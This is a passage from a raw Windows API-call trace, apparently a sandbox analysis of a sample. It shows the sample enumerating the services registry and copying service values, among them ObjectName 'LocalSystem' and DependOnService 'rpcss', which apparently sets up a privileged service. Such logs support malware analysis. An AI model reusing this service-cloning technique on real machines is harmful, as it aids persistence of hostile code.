lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.807] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.807] RegCloseKey (hKey=0xc4) returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.807] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.808] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.808] RegCloseKey (hKey=0x154) returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.809] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.810] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.810] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0248.811] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0248.811] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0248.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0248.812] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0248.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0248.813] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.813] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0248.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0248.813] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0248.814] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.814] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0248.815] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.815] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0248.815] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.815] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 